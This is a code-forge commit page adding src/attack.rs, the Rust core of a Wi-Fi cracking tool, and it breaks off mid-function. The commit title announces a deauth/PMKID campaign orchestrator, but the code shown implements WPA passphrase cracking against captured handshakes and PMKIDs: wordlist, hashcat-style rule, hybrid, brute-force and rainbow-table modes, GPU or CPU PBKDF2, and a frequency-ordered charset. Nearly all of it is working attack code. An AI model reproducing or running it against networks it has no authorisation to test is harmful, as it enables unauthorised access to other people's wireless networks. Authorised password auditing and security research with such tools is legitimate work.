forge
Explore
Log in

Don't you dare go Hollow

Deauth/PMKID campaign orchestrator + deauth-all blast

Browse files at this commit

93094a18d1912af3563fb3ad5b3f7d9b74e789b0Ahmet Kaan GümüşParent: b7279ba
  • feat
    • deauth/PMKID campaign orchestrator + deauth-all blast
Show full message
✨ feat(attack): deauth/PMKID campaign orchestrator + deauth-all blast
src/attack.rsadded+1889 -0
@@ -0,0 +1,1889 @@
1+//! Cracker attack modes and the worker threads driving them.
2+//!
3+//! Everything here runs in the UI process — the candidates and the GPU
4+//! need no privileges and **no radio**: wordlist / brute-force candidates
5+//! go through PBKDF2 (GPU when an adapter exists, CPU fallback), a rainbow
6+//! table ([`crate::rainbow`]) skips PBKDF2 entirely and checks precomputed
7+//! PMKs with one PTK derivation + MIC compare each.
8+//!
9+//! Worker contract (unchanged from the old service-coupled cracker):
10+//! progress via `CrackProgress`, then exactly one terminator —
11+//! `CrackFound` + `CrackStopped { found: true }` on success,
12+//! `CrackStopped { found: false }` on stop, exhaustion, or setup failure.
13+//! The rainbow *builder* job reports `RainbowProgress` and always ends
14+//! with one `RainbowBuilt` (entries written so far; errors precede it as
15+//! `Error` events).
16+
17+use std::collections::HashSet;
18+use std::path::{Path, PathBuf};
19+use std::rc::Rc;
20+use std::sync::Arc;
21+use std::sync::atomic::{AtomicBool, Ordering};
22+use std::time::{Duration, Instant};
23+
24+use anyhow::{Context, Result, bail};
25+use crossbeam_channel::Sender;
26+
27+use crate::common::Event;
28+use crate::crypto::{self, CrackTarget};
29+use crate::gpu::{self, GpuCracker};
30+use crate::rainbow;
31+use crate::store;
32+use crate::wordlist;
33+
34+/// Attack mode selected on the Cracker page. Serialized into the resume
35+/// session file (see [`crate::store::CrackSession`]) exactly as entered.
36+#[derive(Clone, Debug, PartialEq, Eq, serde::Serialize, serde::Deserialize)]
37+pub enum Attack {
38+ /// Dictionary: stream a wordlist through PBKDF2.
39+ Wordlist(PathBuf),
40+ /// Dictionary × mutation rules (hashcat-subset ops, see [`parse_rules`]).
41+ Rules { wordlist: PathBuf, rules: PathBuf },
42+ /// Dictionary × append-charset sweep: `word + charset^k` for k in `min..=max`.
43+ Hybrid { wordlist: PathBuf, charset: Vec<u8>, min: usize, max: usize },
44+ /// Exhaustive `charset^len` sweep for len in `min..=max` through PBKDF2.
45+ /// `freq_order` permutes the charset most-common-first (a bijection —
46+ /// space size and seek indices are unchanged).
47+ Bruteforce {
48+ charset: Vec<u8>,
49+ min: usize,
50+ max: usize,
51+ #[serde(default)]
52+ freq_order: bool,
53+ },
54+ /// Precomputed PMK table for the target SSID — no PBKDF2 at run time.
55+ Rainbow(PathBuf),
56+}
57+
58+impl Attack {
59+ /// One line for logs/status.
60+ pub fn describe(&self) -> String {
61+ match self {
62+ Attack::Wordlist(p) => format!("wordlist {}", p.display()),
63+ Attack::Rules { wordlist, rules } => {
64+ format!("rules {} × {}", wordlist.display(), rules.display())
65+ }
66+ Attack::Hybrid { wordlist, charset, min, max } => format!(
67+ "hybrid {} + charset({} bytes) suffix len {min}..={max}",
68+ wordlist.display(),
69+ charset.len()
70+ ),
71+ Attack::Bruteforce { charset, min, max, freq_order } => format!(
72+ "bruteforce charset({} bytes, {:?}…{}) len {min}..={max}",
73+ charset.len(),
74+ String::from_utf8_lossy(&charset[..charset.len().min(16)]),
75+ if *freq_order { ", freq-order" } else { "" },
76+ ),
77+ Attack::Rainbow(p) => format!("rainbow {}", p.display()),
78+ }
79+ }
80+
81+ /// Fail-fast validation the UI runs BEFORE marking a run active, so a
82+ /// refused start never leaves stale running flags or a zombie thread.
83+ pub fn validate(&self) -> Result<()> {
84+ match self {
85+ Attack::Wordlist(p) => {
86+ std::fs::File::open(p)
87+ .with_context(|| format!("cannot open wordlist {}", p.display()))?;
88+ }
89+ Attack::Rules { wordlist, rules } => {
90+ std::fs::File::open(wordlist)
91+ .with_context(|| format!("cannot open wordlist {}", wordlist.display()))?;
92+ let parsed = parse_rules(rules)
93+ .with_context(|| format!("cannot parse rules file {}", rules.display()))?;
94+ if parsed.is_empty() {
95+ bail!("rules file {} has no rules", rules.display());
96+ }
97+ }
98+ Attack::Hybrid { wordlist, charset, min, max } => {
99+ std::fs::File::open(wordlist)
100+ .with_context(|| format!("cannot open wordlist {}", wordlist.display()))?;
101+ HybridIter::validate(charset, *min, *max)?;
102+ }
103+ Attack::Bruteforce { charset, min, max, freq_order } => {
104+ BruteForce::new(charset.clone(), *min, *max, *freq_order).map(|_| ())?;
105+ }
106+ Attack::Rainbow(p) => {
107+ std::fs::File::open(p)
108+ .with_context(|| format!("cannot open PMK table {}", p.display()))?;
109+ }
110+ }
111+ Ok(())
112+ }
113+}
114+
115+// ---------------------------------------------------------------------------
116+// Charset presets (Cracker page bruteforce chips) + custom input
117+// ---------------------------------------------------------------------------
118+
119+/// Predefined charsets the UI offers as toggle chips; the effective
120+/// brute-force charset is the union of the checked presets and the
121+/// custom field. Keep SPECIAL to the commonly used symbols — exotic
122+/// bytes belong in the custom field.
123+pub mod charset {
124+ pub const LOWER: &[u8] = b"abcdefghijklmnopqrstuvwxyz";
125+ pub const UPPER: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ";
126+ pub const DIGITS: &[u8] = b"0123456789";
127+ pub const SPECIAL: &[u8] = b"!@#$%^&*()-_=+[]{};:,.<>/?";
128+
129+ /// Union of the selected presets + `custom`, deduplicated.
130+ pub fn compose(lower: bool, upper: bool, digits: bool, special: bool, custom: &[u8]) -> Vec<u8> {
131+ let mut out = Vec::new();
132+ for src in [
133+ (lower, LOWER),
134+ (upper, UPPER),
135+ (digits, DIGITS),
136+ (special, SPECIAL),
137+ ] {
138+ if src.0 {
139+ out.extend_from_slice(src.1);
140+ }
141+ }
142+ out.extend_from_slice(custom);
143+ out.sort_unstable();
144+ out.dedup();
145+ out
146+ }
147+}
148+
149+// ---------------------------------------------------------------------------
150+// Brute-force candidate generator
151+// ---------------------------------------------------------------------------
152+
153+/// password-frequency heuristic: most-common characters first; the
154+/// odometer still varies the right-most position fastest.
155+const FREQ_ORDER: &[u8] = b"e1a0ir7o29nls38tc45um6!dpghwyb$vkfxqjz@EAOINSRHLTCDUMPFGYKWBVJXQZ#._-";
156+
157+/// Streaming `charset^len` generator for len in min..=max, clamped to the
158+/// WPA passphrase range 8..=63. Odometer order: right-most position cycles
159+/// fastest, words of one length exhaust before the next length starts.
160+/// With `freq_order` the charset is permuted by [`FREQ_ORDER`] rank
161+/// (chars absent from it keep codepoint order, appended after) — a
162+/// bijection, so `space()` size and `seek()` indices are unchanged.
163+pub struct BruteForce {
164+ charset: Vec<u8>,
165+ /// Clamped minimum length (the space starts here).
166+ min_len: usize,
167+ /// Current word length.
168+ len: usize,
169+ max_len: usize,
170+ /// Odometer digits (indices into charset), same length as the word.
171+ idx: Vec<usize>,
172+ exhausted: bool,
173+}
174+
175+impl BruteForce {
176+ /// `Err` when the charset is empty or the clamped length range is empty
177+ /// (nothing 8..=63-compatible to try).
178+ pub fn new(charset: Vec<u8>, min: usize, max: usize, freq_order: bool) -> Result<Self> {
179+ let mut charset = charset;
180+ if freq_order {
181+ let rank = |b: u8| FREQ_ORDER.iter().position(|&c| c == b).unwrap_or(usize::MAX);
182+ charset.sort_by_key(|&b| (rank(b), b));
183+ charset.dedup();
184+ } else {
185+ charset.dedup();
186+ }
187+ if charset.is_empty() {
188+ bail!("bruteforce: charset is empty");
189+ }
190+ // Intersect with the WPA passphrase range instead of clamping
191+ // both bounds: 64..=70 must be rejected (empty intersection), not
192+ // silently turned into 63..=63.
193+ let lo = min.max(8);
194+ let hi = max.min(63);
195+ if lo > hi {
196+ bail!("bruteforce: length range {min}..={max} has no WPA-legal lengths (8..=63)");
197+ }
198+ Ok(BruteForce {
199+ charset,
200+ min_len: lo,
201+ len: lo,
202+ max_len: hi,
203+ idx: vec![0; lo],
204+ exhausted: false,
205+ })
206+ }
207+
208+ /// Total candidate count over the whole length range (may exceed u64;
209+ /// used for logs only).
210+ pub fn space(&self) -> u128 {
211+ let base = self.charset.len() as u128;
212+ (self.len..=self.max_len).map(|l| base.pow(l as u32)).sum()
213+ }
214+
215+ /// Jump the odometer so the NEXT [`next`] yields candidate number `n`
216+ /// (0-based) of the full space — the resume path. `n` beyond the space
217+ /// exhausts the generator.
218+ pub fn seek(&mut self, n: u64) {
219+ let base = self.charset.len() as u128;
220+ let mut rem = n as u128;
221+ let mut len = self.min_len;
222+ loop {
223+ let size = base.pow(len as u32);
224+ if rem < size || len == self.max_len {
225+ break;
226+ }
227+ rem -= size;
228+ len += 1;
229+ }
230+ if len == self.max_len && rem >= base.pow(len as u32) {
231+ self.exhausted = true;
232+ return;
233+ }
234+ // Odometer order: right-most digit cycles fastest → `rem` is the
235+ // index in little-endian base-|charset|.
236+ self.len = len;
237+ self.idx = vec![0; len];
238+ for pos in (0..len).rev() {
239+ self.idx[pos] = (rem % base) as usize;
240+ rem /= base;
241+ }
242+ self.exhausted = false;
243+ }
244+}
245+
246+impl Iterator for BruteForce {
247+ type Item = Vec<u8>;
248+
249+ fn next(&mut self) -> Option<Vec<u8>> {
250+ if self.exhausted {
251+ return None;
252+ }
253+ let word: Vec<u8> = self.idx.iter().map(|&d| self.charset[d]).collect();
254+ // Advance the odometer; carry beyond the left-most digit either
255+ // grows the word length or exhausts the space.
256+ let mut pos = self.idx.len();
257+ loop {
258+ if pos == 0 {
259+ if self.len == self.max_len {
260+ self.exhausted = true;
261+ } else {
262+ self.len += 1;
263+ self.idx = vec![0; self.len];
264+ }
265+ break;
266+ }
267+ pos -= 1;
268+ self.idx[pos] += 1;
269+ if self.idx[pos] < self.charset.len() {
270+ break;
271+ }
272+ self.idx[pos] = 0;
273+ }
274+ Some(word)
275+ }
276+}
277+
278+// ---------------------------------------------------------------------------
279+// Mutation rules (hashcat-subset) — wordlist × rules attack
280+// ---------------------------------------------------------------------------
281+
282+/// One hashcat-style single-letter op (supported subset). `$X`/`^X` carry
283+/// the literal byte; `sXY` carries (from, to).
284+#[derive(Clone, Debug, PartialEq, Eq)]
285+pub enum Op {
286+ Noop,
287+ Lower,
288+ Upper,
289+ Capitalize,
290+ InvertCapitalize,
291+ Toggle,
292+ Reverse,
293+ Duplicate,
294+ Append(u8),
295+ Prepend(u8),
296+ DeleteFirst,
297+ DeleteLast,
298+ Replace(u8, u8),
299+}
300+
301+/// One rule = a line's ops, applied left to right (`c $1 $9` etc.).
302+pub type Rule = Vec<Op>;
303+
304+/// Apply `ops` to `word`, left to right. `None` when the result falls
305+/// outside the WPA passphrase range 8..=63 — filtered like WordIter, but
306+/// the flattened index CONSUMES that candidate (resume positions line up
307+/// with the raw stream).
308+fn apply_rule(ops: &Rule, word: &[u8]) -> Option<Vec<u8>> {
309+ let mut w = word.to_vec();
310+ for op in ops {
311+ match op {
312+ Op::Noop => {}
313+ Op::Lower => w.make_ascii_lowercase(),
314+ Op::Upper => w.make_ascii_uppercase(),
315+ Op::Capitalize => {
316+ w.make_ascii_lowercase();
317+ if let Some(first) = w.first_mut() {
318+ first.make_ascii_uppercase();
319+ }
320+ }
321+ Op::InvertCapitalize => {
322+ w.make_ascii_uppercase();
323+ if let Some(first) = w.first_mut() {
324+ first.make_ascii_lowercase();
325+ }
326+ }
327+ Op::Toggle => {
328+ for b in &mut w {
329+ if b.is_ascii_lowercase() {
330+ *b = b.to_ascii_uppercase();
331+ } else if b.is_ascii_uppercase() {
332+ *b = b.to_ascii_lowercase();
333+ }
334+ }
335+ }
336+ Op::Reverse => w.reverse(),
337+ Op::Duplicate => {
338+ let tail = w.clone();
339+ w.extend_from_slice(&tail);
340+ }
341+ Op::Append(b) => w.push(*b),
342+ Op::Prepend(b) => w.insert(0, *b),
343+ Op::DeleteFirst => {
344+ if !w.is_empty() {
345+ w.remove(0);
346+ }
347+ }
348+ Op::DeleteLast => {
349+ w.pop();
350+ }
351+ Op::Replace(x, y) => {
352+ for b in &mut w {
353+ if b == x {
354+ *b = *y;
355+ }
356+ }
357+ }
358+ }
359+ }
360+ (8..=63).contains(&w.len()).then_some(w)
361+}
362+
363+/// Parse one rules line into ops. The grammar is byte-oriented: `$`/`^`
364+/// take the next byte as the literal to append/prepend, `s` takes the two
365+/// following bytes. Fails with a positioned message on unknown ops or
366+/// truncated literals.
367+fn parse_rule_line(line: &[u8], lineno: usize) -> Result<Rule> {
368+ let mut ops = Vec::new();
369+ let mut i = 0usize;
370+ while i < line.len() {
371+ let c = line[i];
372+ i += 1;
373+ let op = match c {
374+ // Space separates ops in hashcat files ("c $1 $!" etc.) and is
375+ // itself a do-nothing op there; skip it. Appending a literal
376+ // space still works ("$ " — the space is $'s literal).
377+ b' ' => continue,
378+ b':' => Op::Noop,
379+ b'l' => Op::Lower,
380+ b'u' => Op::Upper,
381+ b'c' => Op::Capitalize,
382+ b'C' => Op::InvertCapitalize,
383+ b't' => Op::Toggle,
384+ b'r' => Op::Reverse,
385+ b'd' => Op::Duplicate,
386+ b'[' => Op::DeleteFirst,
387+ b']' => Op::DeleteLast,
388+ b'$' | b'^' => {
389+ let Some(&lit) = line.get(i) else {
390+ bail!("rules line {lineno}: `{c}` at column {i} is missing its character");
391+ };
392+ i += 1;
393+ if c == b'$' { Op::Append(lit) } else { Op::Prepend(lit) }
394+ }
395+ b's' => {
396+ let Some(&x) = line.get(i) else {
397+ bail!("rules line {lineno}: `s` at column {i} is missing its replacement chars");
398+ };
399+ let Some(&y) = line.get(i + 1) else {
400+ bail!("rules line {lineno}: `s` at column {i} is missing its replacement chars");
401+ };
402+ i += 2;
403+ Op::Replace(x, y)
404+ }
405+ _ => bail!("rules line {lineno}: unsupported op `{}` (column {})", c as char, i - 1),
406+ };
407+ ops.push(op);
408+ }
409+ Ok(ops)
410+}
411+
412+/// Parse a hashcat-subset rules file (the classic best64.rule family):
413+/// blank lines and lines starting with `#` are skipped, every other line
414+/// is one rule. The "::"-style noop lines parse to a single [`Op::Noop`]
415+/// per `:`.
416+pub fn parse_rules(path: &Path) -> Result<Vec<Rule>> {
417+ use std::io::BufRead;
418+
419+ let f = std::fs::File::open(path)
420+ .with_context(|| format!("opening rules file {}", path.display()))?;
421+ let mut reader = std::io::BufReader::with_capacity(1 << 16, f);
422+ let mut rules = Vec::new();
423+ let mut line = String::new();
424+ let mut lineno = 0usize;
425+ loop {
426+ line.clear();
427+ let n = reader
428+ .read_line(&mut line)
429+ .with_context(|| format!("reading rules file {}", path.display()))?;
430+ if n == 0 {
431+ break;
432+ }
433+ lineno += 1;
434+ let trimmed = line.trim_end_matches(['\r', '\n']);
435+ if trimmed.is_empty() || trimmed.starts_with('#') {
436+ continue;
437+ }
438+ rules.push(parse_rule_line(trimmed.as_bytes(), lineno)?);
439+ }
440+ Ok(rules)
441+}
442+
443+/// Count of real rules (non-blank, non-comment lines) — the per-word
444+/// multiplier for the rules attack's flattened space. Consumed by the
445+/// cracker-page estimator (W4 UI surface).
446+#[allow(dead_code)]
447+pub fn rule_count(path: &Path) -> Result<u64> {
448+ use std::io::BufRead;
449+
450+ let f = std::fs::File::open(path)
451+ .with_context(|| format!("opening rules file {}", path.display()))?;
452+ let mut count = 0u64;
453+ for line in std::io::BufReader::with_capacity(1 << 16, f).lines() {
454+ let line = line.with_context(|| format!("reading rules file {}", path.display()))?;
455+ let trimmed = line.trim_end_matches(['\r', '\n']);
456+ if !trimmed.is_empty() && !trimmed.starts_with('#') {
457+ count += 1;
458+ }
459+ }
460+ Ok(count)
461+}
462+
463+/// wordlist × rules generator, WORD-MAJOR / rule-minor: rules are applied
464+/// to word 0 in file order, then to word 1, and so on. The flattened
465+/// candidate index of `(word_idx, rule_idx)` is `word_idx * rules_len +
466+/// rule_idx`, so a resume position is a plain `skip_n` over this stream —
467+/// even though rule outputs outside 8..=63 are filtered (they still
468+/// consume a flattened index, matching [`apply_rule`]'s contract).
469+pub struct RuleIter {
470+ words: Box<dyn Iterator<Item = Vec<u8>> + Send>,
471+ rules: Rc<Vec<Rule>>,
472+ cur: Option<Vec<u8>>,
473+ ri: usize,
474+}
475+
476+impl RuleIter {
477+ pub fn new(words: Box<dyn Iterator<Item = Vec<u8>> + Send>, rules: Rc<Vec<Rule>>) -> Self {
478+ if rules.is_empty() {
479+ // Degenerate case: keep the stream empty rather than panic.
480+ return RuleIter { words: Box::new(std::iter::empty()), rules, cur: None, ri: 0 };
481+ }
482+ RuleIter { words, rules, cur: None, ri: 0 }
483+ }
484+}
485+
486+impl Iterator for RuleIter {
487+ type Item = Vec<u8>;
488+
489+ fn next(&mut self) -> Option<Vec<u8>> {
490+ loop {
491+ if self.cur.is_none() {
492+ self.cur = Some(self.words.next()?);
493+ self.ri = 0;
494+ }
495+ let cur = self.cur.clone().expect("just filled");
496+ while self.ri < self.rules.len() {
497+ let r = &self.rules[self.ri];
498+ self.ri += 1;
499+ if let Some(out) = apply_rule(r, &cur) {
500+ return Some(out);
501+ }
502+ // Filtered: the index slot is consumed (documented above).
503+ }
504+ self.cur = None;
505+ }
506+ }
507+}
508+
509+// ---------------------------------------------------------------------------
510+// Hybrid: wordlist × append-charset sweep (word + charset^k)
511+// ---------------------------------------------------------------------------
512+
513+/// wordlist × append-charset generator: for each word yields
514+/// `word + charset^k` for k in `min..=max`, rightmost-fastest odometer
515+/// like [`BruteForce`]. Suffix lengths `min`/`max` are clamped to 1..=4
516+/// (the bruteforce-ish complement of the wordlist — longer suffixes
517+/// belong to plain bruteforce). Candidates longer than 63 bytes are
518+/// skipped AFTER consuming their flattened index (like [`RuleIter`]).
519+///
520+/// Flattened index of `(word_idx, inner)` is `word_idx * per_word +
521+/// inner` with `per_word = Σ_{k=min..=max} |charset|^k`; `inner` walks
522+/// k-blocks in ascending order with little-endian odometer order inside a
523+/// block (same convention as [`BruteForce`]). `total = line_count(wordlist)
524+/// * per_word` is an upper bound (length-skipping only shrinks it).
525+pub struct HybridIter {
526+ words: Box<dyn Iterator<Item = Vec<u8>> + Send>,
527+ charset: Vec<u8>,
528+ min: usize,
529+ max: usize,
530+ /// Current wordlist word (None = load the next one).
531+ cur_word: Option<Vec<u8>>,
532+ /// Suffix length currently emitted for `cur_word`.
533+ k: usize,
534+ /// Odometer digits for the current suffix length.
535+ odo: Vec<usize>,
536+ /// Set by `seek_flat`: the odometer was primed externally and the next
537+ /// word load must NOT reset it.
538+ primed: bool,
539+}
540+
541+impl HybridIter {
542+ /// `Err` when the charset is empty or the clamped suffix range is
543+ /// inverted (`min` > `max` after clamping: `min` 4 with `max` 1 etc.).
544+ pub fn new(
545+ words: Box<dyn Iterator<Item = Vec<u8>> + Send>,
546+ charset: Vec<u8>,
547+ min: usize,
548+ max: usize,
549+ ) -> Result<Self> {
550+ let (min, max) = Self::clamped_range(min, max)?;
551+ let mut charset = charset;
552+ charset.sort_unstable();
553+ charset.dedup();
554+ if charset.is_empty() {
555+ bail!("hybrid: charset is empty");
556+ }
557+ Ok(HybridIter {
558+ words,
559+ charset,
560+ min,
561+ max,
562+ cur_word: None,
563+ k: min,
564+ odo: vec![0; min],
565+ primed: false,
566+ })
567+ }
568+
569+ /// Flag validation for [`Attack::Hybrid`] (no word stream needed).
570+ pub fn validate(charset: &[u8], min: usize, max: usize) -> Result<()> {
571+ let mut cs = charset.to_vec();
572+ cs.sort_unstable();
573+ cs.dedup();
574+ if cs.is_empty() {
575+ bail!("hybrid: charset is empty");
576+ }
577+ Self::clamped_range(min, max).map(|_| ())
578+ }
579+
580+ fn clamped_range(min: usize, max: usize) -> Result<(usize, usize)> {
581+ let lo = min.clamp(1, 4);
582+ let hi = max.clamp(1, 4);
583+ if lo > hi {
584+ bail!("hybrid: suffix length range {min}..={max} is inverted (clamped 1..=4)");
585+ }
586+ Ok((lo, hi))
587+ }
588+
589+ /// Candidates emitted per wordlist word: Σ_{k=min..=max} |charset|^k
590+ /// (saturated to u64::MAX).
591+ pub fn per_word(&self) -> u64 {
592+ let base = self.charset.len() as u128;
593+ let s: u128 = (self.min..=self.max).map(|k| base.pow(k as u32)).sum();
594+ s.min(u64::MAX as u128) as u64
595+ }
596+
597+ /// Position the generator at flattened index `n` (resume): skips
598+ /// `n / per_word` words and primes the suffix odometer to emit the
599+ /// remainder `n % per_word`. An `n` beyond the space leaves the stream
600+ /// at its natural end.
601+ pub fn seek_flat(&mut self, n: u64) {
602+ let per_word = self.per_word();
603+ let word_idx = if per_word == 0 { n } else { n / per_word };
604+ let inner = if per_word == 0 { 0 } else { n % per_word };
605+ skip_n(&mut self.words, word_idx);
606+ self.set_inner(inner as u128);
607+ // The skipped words leave cur_word empty; next() loads the word at
608+ // word_idx (or the stream ends) — WITHOUT clobbering the primed
609+ // odometer (one word only).
610+ self.cur_word = None;
611+ self.primed = true;
612+ }
613+
614+ /// Prime the odometer so the next calls yield suffix-block index
615+ /// `inner` (ascending k-blocks, little-endian odometer per block).
616+ fn set_inner(&mut self, mut rem: u128) {
617+ let base = self.charset.len() as u128;
618+ let mut k = self.min;
619+ loop {
620+ let size = base.pow(k as u32);
621+ if rem < size || k == self.max {
622+ break;
623+ }
624+ rem -= size;
625+ k += 1;
626+ }
627+ // rem can exceed the last block only when `inner` pointed past the
628+ // whole per-word space (callers never produce that), but stay
629+ // defensive: exhaust the stream at the first next().
630+ let mut odo = vec![0usize; k];
631+ for pos in (0..k).rev() {
632+ odo[pos] = (rem % base) as usize;
633+ rem /= base;
634+ }
635+ if rem > 0 {
636+ // Sentinel: out-of-range digit exhausts at the first next().
637+ self.k = k;
638+ self.odo = vec![self.charset.len(); k];
639+ return;
640+ }
641+ self.k = k;
642+ self.odo = odo;
643+ }
644+}
645+
646+impl Iterator for HybridIter {
647+ type Item = Vec<u8>;
648+
649+ fn next(&mut self) -> Option<Vec<u8>> {
650+ loop {
651+ if self.cur_word.is_none() {
652+ self.cur_word = Some(self.words.next()?);
653+ // seek_flat-primed state survives the first word load;
654+ // afterwards the odometer restarts at zero per word.
655+ if !self.primed {
656+ self.k = self.min;
657+ self.odo = vec![0; self.k];
658+ }
659+ self.primed = false;
660+ }
661+ let word = self.cur_word.clone().expect("just filled");
662+ // Out-of-range sentinel from set_inner: exhaust.
663+ if self.odo.iter().any(|&d| d >= self.charset.len()) {
664+ self.cur_word = None;
665+ continue;
666+ }
667+ let mut cand = word.clone();
668+ for d in &self.odo {
669+ cand.push(self.charset[*d]);
670+ }
671+ // Advance the odometer: rightmost fastest; carry grows k until
672+ // max is exhausted, which moves on to the next word.
673+ let mut pos = self.odo.len();
674+ loop {
675+ if pos == 0 {
676+ if self.k == self.max {
677+ self.cur_word = None;
678+ } else {
679+ self.k += 1;
680+ self.odo = vec![0; self.k];
681+ }
682+ break;
683+ }
684+ pos -= 1;
685+ self.odo[pos] += 1;
686+ if self.odo[pos] < self.charset.len() {
687+ break;
688+ }
689+ self.odo[pos] = 0;
690+ }
691+ // >63-byte candidates are skipped but consumed the index.
692+ if cand.len() <= 63 {
693+ return Some(cand);
694+ }
695+ // word exhausted check: when the suffix made it not fit at k,
696+ // larger k will not either — jump straight to the next word.
697+ if word.len() + self.k + 1 > 63 {
698+ self.cur_word = None;
699+ }
700+ }
701+ }
702+}
703+
704+// ---------------------------------------------------------------------------
705+// PMK-cache coverage filter
706+// ---------------------------------------------------------------------------
707+
708+/// Wraps a candidate stream, dropping candidates already covered by the
709+/// per-SSID PMK cache consult (they were shown not to match). Skipped
710+/// candidates do NOT count against `done` — the cache pass replaced the
711+/// work; resume indices still refer to the RAW stream (worst-case).
712+pub struct CacheSkipIter<I: Iterator<Item = Vec<u8>>> {
713+ inner: I,
714+ covered: HashSet<Box<[u8]>>,
715+}
716+
717+impl<I: Iterator<Item = Vec<u8>>> CacheSkipIter<I> {
718+ pub fn new(inner: I, covered: HashSet<Box<[u8]>>) -> Self {
719+ CacheSkipIter { inner, covered }
720+ }
721+}
722+
723+impl<I: Iterator<Item = Vec<u8>>> Iterator for CacheSkipIter<I> {
724+ type Item = Vec<u8>;
725+
726+ fn next(&mut self) -> Option<Vec<u8>> {
727+ for cand in self.inner.by_ref() {
728+ if !self.covered.contains(cand.as_slice()) {
729+ return Some(cand);
730+ }
731+ }
732+ None
733+ }
734+}
735+
736+// ---------------------------------------------------------------------------
737+// Workers
738+// ---------------------------------------------------------------------------
739+
740+fn send(tx: &Sender<Event>, ev: Event) {
741+ let _ = tx.send(ev);
742+}
743+
744+fn log(tx: &Sender<Event>, line: impl Into<String>) {
745+ send(tx, Event::Log(line.into()));
746+}
747+
748+fn log_err(tx: &Sender<Event>, line: impl Into<String>) {
749+ send(tx, Event::Error(line.into()));
750+}
751+
752+/// GPU (or CPU-fallback) PBKDF2 crack over a word stream — the selection
753+/// logic the cracker has always used. `total` is the worst-case candidate
754+/// count (worst-case ETA = (total - done) / hps) when the source is
755+/// countable. `force_cpu` skips the GPU entirely (CLI `--cpu`); it also
756+/// disables the PMK-cache sink so a forced-CPU client run stays
757+/// side-effect-free. Otherwise a PURE-CPU run (no adapter, or a key_ver
758+/// the shader cannot express) populates the per-SSID PMK cache while it
759+/// cracks — every candidate's PBKDF2 result lands in
760+/// `store::cache_file(essid)` in rainbow format.
761+fn word_crack(
762+ target_desc: &str,
763+ target: &CrackTarget,
764+ words: &mut dyn Iterator<Item = Vec<u8>>,
765+ total: Option<u64>,
766+ done_offset: u64,
767+ tx: &Sender<Event>,
768+ stop: &Arc<AtomicBool>,
769+ force_cpu: bool,
770+) -> Option<String> {
771+ if let Some(t) = total {
772+ log(tx, format!("cracker: worst case: {t} candidates"));
773+ }
774+ let mut progress = {
775+ let tx = tx.clone();
776+ move |done: u64, hps: f64| {
777+ send(&tx, Event::CrackProgress { done: done_offset + done, hps, total })
778+ }
779+ };
780+ // SHA1-family targets (handshake key_ver 1|2, PMKID) crack fully
781+ // on-device (init + chain + MIC epilogue); key_ver 3 / overlong
782+ // ESSIDs stay on the CPU cracker even when a GPU exists.
783+ let adapter = if !force_cpu && gpu::gpu_verifiable(target) { GpuCracker::try_new() } else { None };
784+ match adapter {
785+ Some(g) => {
786+ log(
787+ tx,
788+ format!("cracker: GPU backend: {} — cracking {target_desc}", g.device_name()),
789+ );
790+ // GPU runs never populate the cache: the hit-slot readback
791+ // pipeline has no PMK readback plumbed through it.
792+ g.crack(target, words, &mut progress, stop)
793+ }
794+ None => {
795+ log(
796+ tx,
797+ if force_cpu {
798+ format!("cracker: CPU backend (forced) — cracking {target_desc}")
799+ } else {
800+ format!("cracker: CPU backend (no adapter or non-SHA1 target) — cracking {target_desc}")
801+ },
802+ );
803+ let mut sink = if force_cpu {
804+ None
805+ } else {
806+ let path = store::cache_file(target.essid());
807+ match rainbow::append_open(&path, target.essid()) {
808+ Ok(w) => Some(gpu::CpuPmkSink::new(w, {
809+ let tx = tx.clone();
810+ Box::new(move |line: String| log(&tx, line))
811+ })),
812+ Err(e) => {
813+ log(
814+ tx,
815+ format!("pmk cache: cannot open cache file for writing ({e:#}) — continuing without"),
816+ );
817+ None
818+ }
819+ }
820+ };
821+ let found = gpu::cpu_crack(target, words, &mut progress, stop, sink.as_mut());
822+ if let Some(s) = sink {
823+ match s.finish() {
824+ Ok(n) => log(tx, format!("pmk cache: {n} PMKs cached → {}", store::cache_file(target.essid()).display())),
825+ Err(e) => log(tx, format!("pmk cache: flush failed ({e:#})")),
826+ }
827+ }
828+ found
829+ }
830+ }
831+}
832+
833+/// Rainbow run: precomputed PMKs, one PTK derivation + MIC compare per
834+/// entry (no PBKDF2). Progress ticks are time-based (~4/s) so a fast disk
835+/// is not reporting-bound.
836+pub fn rainbow_crack(
837+ target: &CrackTarget,
838+ entries: &mut dyn Iterator<Item = ([u8; 32], Vec<u8>)>,
839+ progress: &mut dyn FnMut(u64, f64),
840+ stop: &Arc<AtomicBool>,
841+) -> Option<String> {
842+ let prepared = gpu::prepare_target(target);
843+ let mut done = 0u64;
844+ let started = Instant::now();
845+ let mut last_tick = started;
846+ for (pmk, pass) in entries {
847+ done += 1;
848+ if gpu::prepared_matches(&prepared, &pmk) {
849+ progress(done, done as f64 / started.elapsed().as_secs_f64().max(1e-6));
850+ return String::from_utf8(pass).ok();
851+ }
852+ if last_tick.elapsed() > Duration::from_millis(250) {
853+ last_tick = Instant::now();
854+ progress(done, done as f64 / started.elapsed().as_secs_f64().max(1e-6));
855+ }
856+ if done % 4096 == 0 && stop.load(Ordering::Relaxed) {
857+ return None;
858+ }
859+ }
860+ // Exhaustion: a table smaller than one tick interval would otherwise
861+ // end with zero progress ever reported (the word path ticks per
862+ // batch — match it).
863+ progress(done, done as f64 / started.elapsed().as_secs_f64().max(1e-6));
864+ None
865+}
866+
867+/// Drop the first `n` items of a candidate stream (resume). The stream
868+/// simply runs out early when fewer than `n` remain — the caller's crack
869+/// loop then reports "exhausted" on the empty remainder.
870+fn skip_n<T>(it: &mut dyn Iterator<Item = T>, mut n: u64) {
871+ while n > 0 && it.next().is_some() {
872+ n -= 1;
873+ }
874+}
875+
876+/// Result of consulting the per-SSID PMK cache before a wordlist-family run.
877+enum CacheConsult {
878+ /// Cache contained the PSK — report as a normal find, skip the main run.
879+ Hit(String),
880+ /// Readable cache, no match: the covered passphrases to skip in the
881+ /// main iterator.
882+ Miss(HashSet<Box<[u8]>>),
883+ /// No cache, or unreadable — run everything.
884+ Skip,
885+}
886+
887+/// Per-SSID PMK cache consult (`~/wifilab/cache/<ssid-hex>.pmk`, rainbow
888+/// text format): if the file exists and is readable, run a quick
889+/// PBKDF2-free pass ([`rainbow_crack`]) over its entries BEFORE the main
890+/// attack. On a miss the caller wraps the main iterator in
891+/// [`CacheSkipIter`] so cached-and-ruled-out passwords are not recomputed.
892+/// Unreadable caches (open/parse/header-SSID mismatch) produce exactly
893+/// one `Log` and fall through to a full run.
894+fn consult_cache(
